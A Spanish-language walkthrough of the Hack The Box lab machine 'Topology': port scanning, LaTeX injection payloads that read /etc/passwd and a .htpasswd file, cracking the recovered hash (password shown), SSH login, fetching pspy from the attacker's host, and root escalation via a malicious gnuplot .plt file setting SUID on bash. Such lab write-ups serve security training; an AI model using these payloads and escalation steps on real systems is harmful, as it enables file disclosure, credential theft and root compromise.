Topology es una máquina de dificultad fácil en la plataforma de HTB. Conseguiremos acceso a través de un Latex Injection to LFI, visualizaremos un archivo con credenciales y accederemos por SSH. Para escalar privilegios deberemos de crear un archivo PLT para el programa gnuplot, para que convierta la BASH a permisos SUID.

Enumeración

Escaneo de puertos

Realizamos un escaneo en búsqueda de puertos abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.217 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-11 00:53 CEST
Initiating SYN Stealth Scan at 00:53
Scanning 10.10.11.217 [65535 ports]
Discovered open port 80/tcp on 10.10.11.217
Discovered open port 22/tcp on 10.10.11.217
Completed SYN Stealth Scan at 00:53, 14.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.217
Host is up, received user-set (0.14s latency).Scanned at 2023-06-11 00:53:21 CEST for 14s
Not shown: 62796 closed ports, 2737 filtered ports
Reason: 62796 resets and 2737 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
           Raw packets sent: 73398 (3.230MB) | Rcvd: 63419 (2.537MB)

Los puertos abiertos de la máquina son el 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Mediante escaneo obtendremos los servicios y versiones que corren en los puertos.

❯ nmap -p22,80 -sCV 10.10.11.217 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-11 01:08 CEST
Nmap scan report for 10.10.11.217
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

Este sería el menú principal de la web, vemos que hay un dominio topology.htb así que lo añadimos al /etc/hosts.

HTB

En la misma web descubrimos un enlace que nos lleva al subdominio latex.topology.htb.

HTB

Antes de inspeccionar el subdominio de Latex, buscamos mediante Wfuzz otros posibles subdominios.

❯ wfuzz -c --hc=404 --hw=545 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.topology.htb" http://topology.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://topology.htb/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                
=====================================================================

000000834:   401        14 L     54 W       463 Ch      "dev"

000002559:   200        25 L     155 W      2828 Ch     "latex"

Total time: 0
Processed Requests: 3509
Filtered Requests: 3493
Requests/sec.: 0

Encontramos otro subdominio que no aparece en la web, se trata de dev.topology.htb así que lo añadimos al /etc/hosts.

Si lo visitamos nos saldrá un panel de autentificación, probamos algunas credenciales débiles pero sin éxito.

HTB

Volvemos al subdominio de Latex y básicamente lo que podemos hacer es crear imágenes a partir de ecuaciones matemáticas.

Si intentamos realizar un Latex Injection para leer algún archivo de la máquina nos sale el siguiente mensaje:

HTB

Intrusión

Después de muchos intentos, consigo leer archivos de la máquina mediante el siguiente bucle en latex.

\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\fileu

HTB

El problema es que solo vemos una línea del archivo, para esto deberemos de utilizar el símbolo del $ al principio y al final, ya que indican que se trata de fórmulas en una sola línea.

$\lstinputlisting{/etc/passwd}$

Si lo enviamos, la imagen que recibimos es la siguiente:

HTB

Obtenemos el archivo /etc/passwd pudiendo así leer el archivo completo.

Sabemos que hay un subdominio al que no podemos acceder, podemos intentar obtener credenciales en caso de que exista el archivo .htpasswd.

Esta sería la ruta donde podría almacenarse el .htpasswd así que realizamos la petición.

$\lstinputlisting{/var/www/dev/.htpasswd}$

Esta sería la imagen que obtenemos, se tratan de las credenciales encriptadas del usuario vdaisley.

HTB

Mediante John desencriptamos la contraseña.
`

❯ john --wordlist=/home/mrx/aplicaciones/rockyou.txt hash
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
calculus20       (vdaisley)     
1g 0:00:00:05 DONE 0.1769g/s 176436p/s 176436c/s 176436C/s callel..butkis
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nos conectamos por SSH y leemos la flag.

❯ ssh [email protected]
The authenticity of host 'topology.htb (10.10.11.217)' can't be established.
ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: 

-bash-5.0$ 
-bash-5.0$ cat user.txt 
f8**************************aa
-bash-5.0$

Nos descargamos el pspy y le damos permisos de ejecución.

vdaisley@topology:~$ wget 10.10.14.69/pspy
--2023-X-X X:X:X--  http://10.10.14.69/pspy
Connecting to 10.10.14.69:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy’

pspy                                          100%[=================================================================================================>]   2.96M  5.71MB/s    in 0.5s    

X-X-X X:X:X (5.71 MB/s) - ‘pspy’ saved [3104768/3104768]

vdaisley@topology:~$ ls
pspy  user.txt
vdaisley@topology:~$ chmod +x pspy

Vemos que se ejecuta gnuplot, para el que no sepa que es, se trata de un programa de comandos para generar gráficos de dos y de dos y tres dimensiones de funciones, datos y ajustes de datos que utiliza archivos plt.

2023/06/13 16:33:01 CMD: UID=0     PID=1419   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/06/13 16:33:01 CMD: UID=0     PID=1418   | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;

Como tenemos permisos para crear archivos en el directorio /opt/gnuplot, creamos un archivo para que el programa nos convierta la BASH con permisos SUID.

vdaisley@topology:~$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Jun 13 16:45 gnuplot
vdaisley@topology:~$ echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/privesc.plt
vdaisley@topology:~$ watch -n 1 ls -l /bin/bash
vdaisley@topology:~$ cat /opt/gnuplot/privesc.plt
system "chmod u+s /bin/bash"

Después de unos segundos la BASH cambia de permisos, pudiendo así convertirnos en root y leer la flag.

vdaisley@topology:~$ watch -n 1 ls -l /bin/bash
vdaisley@topology:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
vdaisley@topology:~$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
87**************************14
bash-5.0# 

Leave a Reply

Your email address will not be published. Required fields are marked *